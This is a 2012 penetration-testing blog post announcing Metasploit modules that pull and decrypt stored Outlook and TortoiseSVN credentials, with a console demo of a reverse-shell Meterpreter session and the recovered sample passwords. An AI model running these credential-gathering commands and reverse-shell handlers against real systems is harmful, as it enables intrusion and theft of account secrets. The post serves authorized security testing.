Metasploit Post Exploitation Module Updates

Tuesday, June 26, 2012 At 2:40PM

Post exploitation is a critical component of any penetration test. In support of such activities we’ve recently comitted a few updates to the post exploitation modules within Metasploit:

1) Microsoft Outlook Post Exploitation: This module extracts and decrypts credentials for stored e-mail accounts. This update contains better handling of outbound SMTP servers requiring authentication. This module has proven quite useful during numerous penetration tests.

2) TortoiseSVN Post Exploitation: This new module extracts and decrypts SVN credentails for stored accounts.

Such post modules can be utilized within Metasploit’s Meterpreter environment. Below demonstrates their use through a reverse shell.

msf > use exploit/multi/handler
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.2.15:4444
[*] Starting the payload handler…
[*] Sending stage (752128 bytes) to 192.168.2.5
[*] Meterpreter session 1 opened (192.168.2.15:4444 -> 192.168.2.5:28765)

meterpreter > run post/windows/gather/credentials/outlook

[*] Searching for Microsoft Outlook in Registry…
[*] Microsoft Outlook found in Registry…
[+] Account Found:
[*]      Type: IMAP
[*]      User Display Name: John Smith
[*]      User E-mail Address: [email protected]
[*]      User Name: [email protected]
[*]      User Password: password123
[*]      Incoming Mail Server (IMAP): imap.test.com
[*]      IMAP Use SSL: Yes
[*]      IMAP Port: 993
[*]      Outgoing Mail Server (SMTP): smtp.test.com   [Authentication Required]
[*]      Outgoing Mail Server (SMTP) User Name: [email protected]
[*]      Outgoing Mail Server (SMTP) Password: password123
[*]      SMTP Use SSL: Yes
[*]      SMTP Port: 587
[*]
[*] Complete

meterpreter > run post/windows/gather/credentials/tortoisesvn

[*] Searching for TortoiseSVN…
[*] Checking for configuration files in: C:UsersJohnAppDataRoamingSubversionauthsvn.simple
[+] Account Found:
[*]      URL: https://svn.test.com:443
[*]      Realm: SVN Server
[*]      User Name: jsmith
[*]      Password: password123
[*]
[*] Complete

Enjoy!

Gotham Digital Science, LLC (GDS), is a wholly owned subsidiary of Aon, PLC

This material has been prepared for informational purposes only and should not be relied on for any other purpose. You should consult with your own professional advisors or IT specialists before implementing any recommendation or following the guidance provided herein. Further, the information provided and the statements expressed are not intended to address the circumstances of any particular individual or entity. Although we endeavor to provide accurate and timely information and use sources that we consider reliable, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future. The examples provided in this article are not based upon an actual Stroz/Aon client, but was provided for illustrative purposes only.

About Cyber Solutions
Cyber security services are offered by Stroz Friedberg Inc., its subsidiaries and affiliates. Stroz Friedberg is part of Aon’s Cyber Solutions which offers holistic cyber risk management, unsurpassed investigative skills, and proprietary technologies to help clients uncover and quantify cyber risks, protect critical assets, and recover from cyber incidents.